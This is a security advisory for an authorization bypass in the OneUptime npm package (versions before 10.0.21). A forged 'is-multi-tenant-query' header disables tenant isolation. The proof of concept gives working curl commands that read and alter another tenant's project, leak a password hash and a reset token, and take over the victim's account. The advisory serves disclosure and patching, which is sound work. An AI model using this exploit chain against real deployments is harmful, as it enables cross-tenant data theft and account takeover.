Skip to content

Authorization bypass via client‑controlled is-multi-tenant-query header leads to cross‑tenant data exposure and account takeover

Critical
simlarsen published GHSA-r5v6-2599-9g3m Mar 8, 2026

Package

npm oneuptime (npm)

Affected versions

< 10.0.21

Patched versions

10.0.21

Description

Summary

A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.

Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.

This allows attackers to:

  1. Access project data belonging to other tenants
  2. Read sensitive User fields via nested relations
  3. Leak plaintext resetPasswordToken
  4. Reset the victim’s password and fully take over the account

This results in cross‑tenant data exposure and full account takeover.

Details

Root cause

The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.

CommonAPI.ts

if (req.headers["is-multi-tenant-query"]) {
  props.isMultiTenantRequest = true;
}

BasePermission.ts

if (!props.isMultiTenantRequest) {
  TablePermission.checkTableLevelPermissions(...)
  QueryPermission.checkQueryPermission(...)
  SelectPermission.checkSelectPermission(...)
}

When the attacker sends:

is-multi-tenant-query: true

the system skips all authorization checks including:

  • Table permission validation
  • Query permission validation
  • Select permission validation
  • Tenant isolation enforcement

Additionally, tenant scoping is disabled in TenantPermission

Sensitive user data exposure

Projects marked with:

@MultiTenentQueryAllowed(true)

allow cross-tenant queries when the header is present.

The Project model contains a relation:

createdByUser

Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:

password
resetPasswordToken
webauthnChallenge

Reset token stored in plaintext

In the password reset flow:

Authentication.ts

resetPasswordToken: token

The reset token is stored in plaintext in the database.

During password reset:

/api/identity/reset-password

the server validates the provided token directly.

If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.

Exploitation chain

  1. Attacker bypasses tenant isolation using is-multi-tenant-query
  2. Attacker reads victim project
  3. Attacker selects createdByUser.resetPasswordToken
  4. Attacker triggers forgot-password for victim
  5. Attacker retrieves the fresh token via the same query
  6. Attacker calls /api/identity/reset-password
  7. Attacker sets a new password
  8. Attacker logs in as victim

This results in full account takeover.

PoC

Setup:

  • Local OneUptime v10.0.20 instance
  • Two normal accounts:
    • Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)
    • Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email victim@example.com

Chain 1: Direct Project Isolation Bypass

1. Read isolation bypass

curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {},
        "select": {
            "_id": true,
            "name": true,
            "createdOwnerEmail": true
        }
      }'

Result: Returns both the attacker's and victim's projects:

{
  "data": [
    {
      "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
      "name": "Victim Project",
      "createdOwnerEmail": { "value": "victim@example.com" }
    },
    {
      "_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
      "name": "Attacker Project",
      "createdOwnerEmail": { "value": "attacker@example.com" }
    }
  ],
  "count": 2
}
  1. Write isolation bypass

Victim project name is initially: Victim Project ORIGINAL

curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"name":"Victim Project EXPLOIT"}'

Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.

Chain 2: Account Takeover via Credential Leakage

  1. Trigger password reset for victim
curl -X POST http://localhost/api/identity/forgot-password \
  -H "content-type: application/json" \
  -d "{\"email\":\"victim@example.com\"}"
  1. Leak victim password hash and reset token via tenant bypass
curl -X POST http://localhost/api/project/get-list \
  -H "authorization: Bearer <attacker_token>" \
  -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{
        "query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
        "select": {
          "_id": true,
          "createdByUser": {
            "email": true,
            "password": true,
            "resetPasswordToken": true
          }
        }
      }'

Result: Sensitive user data is exposed:

{
  "data": [{
    "_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
    "createdByUser": {
      "email": {"value": "victim@example.com"},
      "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
      "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
    }
  }]
}
  1. Take over victim account using leaked token
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{
    "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
    "password": "AttackerChosenPassword123!"
  }'

# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
  -H "content-type: application/json" \
  -d '{
    "email": "victim@example.com",
    "password": "AttackerChosenPassword123!"
  }'

Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.

Result: Victim project name is updated despite the attacker not being a member of the victim project.

Impact

This vulnerability allows a low‑privileged authenticated user to:

  • bypass tenant isolation
  • access other tenant projects
  • read sensitive user credential fields
  • leak plaintext reset tokens
  • reset victim passwords
  • fully take over victim accounts

Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-30956

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits